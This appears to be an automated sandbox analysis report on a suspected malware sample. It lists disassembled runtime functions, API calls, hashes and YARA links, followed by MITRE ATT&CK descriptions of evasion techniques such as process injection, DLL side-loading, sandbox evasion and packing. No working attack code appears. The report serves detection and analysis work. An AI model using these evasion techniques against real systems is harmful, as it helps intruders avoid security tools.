Instruction Fuzzy Hash: BF11C231E08620ABDF229B68BC40B5E3398AF02B70F250211FA11E72C0DB70ED11CBD5

Function 001A3698 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,C010D1D5,0019EAD5,?,00000000,001B7673,000000FF,?,001A3632,CE3BFFFF,?,001A3606,?), ref: 001A36CD
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 001A36DF
FreeLibrary.KERNEL32(00000000,?,00000000,001B7673,000000FF,?,001A3632,CE3BFFFF,?,001A3606,?), ref: 001A3701

Strings

CorExitProcess, xrefs: 001A36D7
mscoree.dll, xrefs: 001A36C6

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 944bd5d904d180c99e4dd2089c11bd456aa928c3fb86bbf56091385b639cd688
Instruction ID: de05eca9315a34fc76bcc246f21cb883fee00a569a9f6690739b62eefc6f2e9e
Opcode Fuzzy Hash: 944bd5d904d180c99e4dd2089c11bd456aa928c3fb86bbf56091385b639cd688
Instruction Fuzzy Hash: 4801A275944655FFDB019F54DC06BAEBBBCFB05B51F044225F821A26D0DFB49900CB94

Function 001AB2FC Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 001AB381
__alloca_probe_16.LIBCMT ref: 001AB44A
__freea.LIBCMT ref: 001AB4B1

Part of subcall function 001A82AE: RtlAllocateHeap.NTDLL(00000000,001AE746,00000000,?,001AE746,00000220,?,?,00000000), ref: 001A82E0

__freea.LIBCMT ref: 001AB4C4
__freea.LIBCMT ref: 001AB4D1

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: dbe8942d7f9846b1ee6f360d37c89927f6bf3b2c007c9f9fea37ebe030261058
Instruction ID: 5bf5492ebbe15b4587f30fa34968385b4cd11fb15c5cd53a5f8e567e03c01e72
Opcode Fuzzy Hash: dbe8942d7f9846b1ee6f360d37c89927f6bf3b2c007c9f9fea37ebe030261058
Instruction Fuzzy Hash: CD51B37A604246AFEF205F648C81EBB7BA9EF9B710F150528FD0AD6143EB31DD109660

Function 00196D00 Relevance: 7.7, APIs: 5, Instructions: 151COMMON

Download Yara Rule

APIs

std::ios_base::good.LIBCPMTD ref: 00196D32
std::ios_base::getloc.LIBCPMTD ref: 00196DB4
char_traits.LIBCPMTD ref: 00196E48
std::ios_base::good.LIBCPMTD ref: 00196EDB

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: std::ios_base::good$char_traitsstd::ios_base::getloc
String ID:
API String ID: 1920461149-0
Opcode ID: b746b0e59b4563dd4bf45f1e786b7184af167e77665ffeeb0983af6595a6318a
Instruction ID: f4b546dd82c223d93b79653e6a81b9ac3ad39b16a9634ddb20e840d9775a1f89
Opcode Fuzzy Hash: b746b0e59b4563dd4bf45f1e786b7184af167e77665ffeeb0983af6595a6318a
Instruction Fuzzy Hash: 94512CB8E04209DFCF08DFA4C892ABEBBB1BF55314F144159E5166B391D735A941CBA0

Function 00194330 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

char_traits.LIBCPMTD ref: 00194370
char_traits.LIBCPMTD ref: 001943A5
char_traits.LIBCPMTD ref: 001943C0
char_traits.LIBCPMTD ref: 001943EB

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: char_traits
String ID:
API String ID: 1158913984-0
Opcode ID: 2b81e80a85949547b7f7a2f8c6821d50be93bad613e0801b8ba95877fa93b495
Instruction ID: 4bbb5bb644d11513d6409e1d86f695082571eff9d1c1c77fb0417cc716fdfef6
Opcode Fuzzy Hash: 2b81e80a85949547b7f7a2f8c6821d50be93bad613e0801b8ba95877fa93b495
Instruction Fuzzy Hash: D93195B6E00118ABCF08EBA0D851DEE7779AF60341F04456AE5429B243FB31DB56CBA1

Function 00197D10 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00197D30
int.LIBCPMTD ref: 00197D49

Part of subcall function 00191E00: std::_Lockit::_Lockit.LIBCPMT ref: 00191E16
Part of subcall function 00191E00: std::_Lockit::~_Lockit.LIBCPMT ref: 00191E40

Concurrency::cancel_current_task.LIBCPMTD ref: 00197D89
std::_Lockit::~_Lockit.LIBCPMT ref: 00197DF1

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: a9d185c767fabefc2d7011de7d67fa22ad8a1786ba7065875101f6dbbf0515fb
Instruction ID: aca2617c80f9ade10604a46e9fc865bbf4be79b7a8aec9a9d3b62b4001db0c0b
Opcode Fuzzy Hash: a9d185c767fabefc2d7011de7d67fa22ad8a1786ba7065875101f6dbbf0515fb
Instruction Fuzzy Hash: 3B3128B1D0020ADBCF04EF94D891AFEBBB1BF58310F204619E416A7391DB34AA40CBA1

Function 001977F0 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00197810
int.LIBCPMTD ref: 00197829

Part of subcall function 00191E00: std::_Lockit::_Lockit.LIBCPMT ref: 00191E16
Part of subcall function 00191E00: std::_Lockit::~_Lockit.LIBCPMT ref: 00191E40

Concurrency::cancel_current_task.LIBCPMTD ref: 00197869
std::_Lockit::~_Lockit.LIBCPMT ref: 001978D1

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: cd098995357550a1c638efd976459beecc8a402c27cc516903a1dc515646fed7
Instruction ID: b8745f804c2ddc7f5cd8a87d70f367b831abbb0a7cb90efeb1916d2fd00bd036
Opcode Fuzzy Hash: cd098995357550a1c638efd976459beecc8a402c27cc516903a1dc515646fed7
Instruction Fuzzy Hash: C43129B1D04209DFCF04EF94C891AEEBBB1BF58310F244619E426A73D1DB34AA44CBA1

Function 001A686B Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(C010D1D5,00000000,00000000,?), ref: 001A68CE

Part of subcall function 001AD8A1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,001AB4A7,?,00000000,-00000008), ref: 001AD902

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 001A6B20
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 001A6B66
GetLastError.KERNEL32 ref: 001A6C09

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 8afa801258eeefa77057018b5fad43bc2f79aeed6041d059a3a10def8be1f1cd
Instruction ID: 6de2510b4ae16f5d9c8c4bde33ba13e26a239e8da13efa1655f5cbbcb2ed749e
Opcode Fuzzy Hash: 8afa801258eeefa77057018b5fad43bc2f79aeed6041d059a3a10def8be1f1cd
Instruction Fuzzy Hash: 02D16AB9E04248DFCF15CFA8D8809EDBBB5FF4A314F28412AE856EB255D730A941CB50

Function 0019CAC1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0019CB88
___AdjustPointer.LIBCMT ref: 0019CBAB
___AdjustPointer.LIBCMT ref: 0019CC47

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 085c7367fd9cb45c37ecf44f3b95e9817483ec5806d02168eb1742175bfe0d95
Instruction ID: 0cff5ac3d5d9cc2f383323801874b91ec7fde81f54e1636bcb4ab88460b31350
Opcode Fuzzy Hash: 085c7367fd9cb45c37ecf44f3b95e9817483ec5806d02168eb1742175bfe0d95
Instruction Fuzzy Hash: A251E6B6A05206AFDF299F10D882B7A77B5EF18750F14452DE88A97291E731EC81CBD0

Function 001ADC5E Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 001AD8A1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,001AB4A7,?,00000000,-00000008), ref: 001AD902

GetLastError.KERNEL32 ref: 001ADCC2
__dosmaperr.LIBCMT ref: 001ADCC9
GetLastError.KERNEL32(?,?,?,?), ref: 001ADD03
__dosmaperr.LIBCMT ref: 001ADD0A

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e929d625fc15892774f3f15c29af8465a40e020b0c86b5a9f32977c515c4044c
Instruction ID: 0cb1b5d4290c48f8bbd7d628189fd518c7cbdfb1dc9056563a677b36a33c934d
Opcode Fuzzy Hash: e929d625fc15892774f3f15c29af8465a40e020b0c86b5a9f32977c515c4044c
Instruction Fuzzy Hash: E821F27A200A15AFDB10AFB5AC80D2AB7A9FF17374B504519F81A93951D730EC00CB90

Function 001A26F7 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d2d1331761239c9f8863dc41c701beaf6ef07dd0fae246624d790cd94da1205
Instruction ID: 62964f77de25c44871c227d3560ee74e6fb67bcbaab848848a85a1501725ac94
Opcode Fuzzy Hash: 3d2d1331761239c9f8863dc41c701beaf6ef07dd0fae246624d790cd94da1205
Instruction Fuzzy Hash: 7F21AE79600215AFDB24AFE88C80D2A77A9AF36364B118514FD15D7151EB30EE408BA0

Function 001AEBE6 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 001AEBEE

Part of subcall function 001AD8A1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,001AB4A7,?,00000000,-00000008), ref: 001AD902

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001AEC26
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 001AEC46

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 951100bed8155d5be9ae2752ede65441c92a99c0f36933858953630ec560c931
Instruction ID: 1ebefbd0fbfea215a60c1879f131528fbce9c36daf1ca30b14eadf606ae80539
Opcode Fuzzy Hash: 951100bed8155d5be9ae2752ede65441c92a99c0f36933858953630ec560c931
Instruction Fuzzy Hash: BA1100BA5055197F6B1137BA9D8ACBFA9ACEE973F47110524F802D2104FF38CE4192B1

Function 001B5B73 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,001A0F6F,00000000,00000000,?,001B1F4B,00000000,00000001,?,?,?,001A6C5D,?,00000000,00000000), ref: 001B5B8A
GetLastError.KERNEL32(?,001B1F4B,00000000,00000001,?,?,?,001A6C5D,?,00000000,00000000,?,?,?,001A7237,00000000), ref: 001B5B96

Part of subcall function 001B5B5C: CloseHandle.KERNEL32(FFFFFFFE,001B5BA6,?,001B1F4B,00000000,00000001,?,?,?,001A6C5D,?,00000000,00000000,?,?), ref: 001B5B6C

___initconout.LIBCMT ref: 001B5BA6

Part of subcall function 001B5B1E: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,001B5B4D,001B1F38,?,?,001A6C5D,?,00000000,00000000,?), ref: 001B5B31

WriteConsoleW.KERNEL32(00000000,00000000,001A0F6F,00000000,?,001B1F4B,00000000,00000001,?,?,?,001A6C5D,?,00000000,00000000,?), ref: 001B5BBB

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 16fd5e3db389dca4495a5adff10e792a173a2bc86e7366c0359e7ee09ca05c2b
Instruction ID: 149080158c1b884d9633d542c7aa97c32c147a24dec979dbfa9f081a20c5a2bc
Opcode Fuzzy Hash: 16fd5e3db389dca4495a5adff10e792a173a2bc86e7366c0359e7ee09ca05c2b
Instruction Fuzzy Hash: 6FF0AC3651565ABBCF222F95DD04EDE3F2BFB187E1B044110FA1996960CB32C960DB90

Function 001A243D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 001A24CD

Strings

pow, xrefs: 001A24A5, 001A24C2

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: ab02b69167da5d779fec72cb37aff113671f52c996277c5cf4c9cf597e97ee90
Instruction ID: 91bad661209f03d672d991a51dde7f551c8b07ad15f24f321f812d0feac949d4
Opcode Fuzzy Hash: ab02b69167da5d779fec72cb37aff113671f52c996277c5cf4c9cf597e97ee90
Instruction Fuzzy Hash: 745190ADE0950196CB157B1CED513BA2BA0EB57740F204D68F0D782EE8EF358CD59A42

Function 0019C7B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0019C7EF
__IsNonwritableInCurrentImage.LIBCMT ref: 0019C8A3

Strings

csm, xrefs: 0019C88D

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 9039fdc63677c67cf368f4908da2e511a15550af2aaaf5d793cd380424888699
Instruction ID: 67190bfbeb0cfe18325813f5c113e8ab5339ef428bc4589647bb43e4e0c0d849
Opcode Fuzzy Hash: 9039fdc63677c67cf368f4908da2e511a15550af2aaaf5d793cd380424888699
Instruction Fuzzy Hash: A941D130E00209ABCF10EF68C885A9EBBB5FF55324F148159E858AB392D731EA15CFD1

Function 0019D0C2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0019D0E7

Strings

MOC, xrefs: 0019D0F9
RCC, xrefs: 0019D101

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 58e14449a66ab2c30482246ee4d8e8c0fe696ccd1f285870fa2b0d287f7ba888
Instruction ID: 0069ab53d93c7fbbdc579ecfe36f1fe41f04b06719014eb28ad2f49509f3d842
Opcode Fuzzy Hash: 58e14449a66ab2c30482246ee4d8e8c0fe696ccd1f285870fa2b0d287f7ba888
Instruction Fuzzy Hash: FE415B72900209EFCF15DF98DD81AEEBBB6FF48304F1581A9FA14A7221D335AA50DB51

Function 00195BE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

char_traits.LIBCPMTD ref: 00195C2A
codecvt.LIBCPMTD ref: 00195C60

Strings

, xrefs: 00195C40

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: char_traitscodecvt
String ID:
API String ID: 1910604377-3916222277
Opcode ID: aa37150b5d08dbbb7838f528ed59c5b09e75053191fb0526cbfe20edd545f021
Instruction ID: d69273b98e4b4454e005c2e656c0afa806f9d097aafdd66dcc38d299d13e1944
Opcode Fuzzy Hash: aa37150b5d08dbbb7838f528ed59c5b09e75053191fb0526cbfe20edd545f021
Instruction Fuzzy Hash: 16313970E04609EFCF09DFA4C590AEEB7BAAF45304F248199E412BB341E7359E45EB61

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
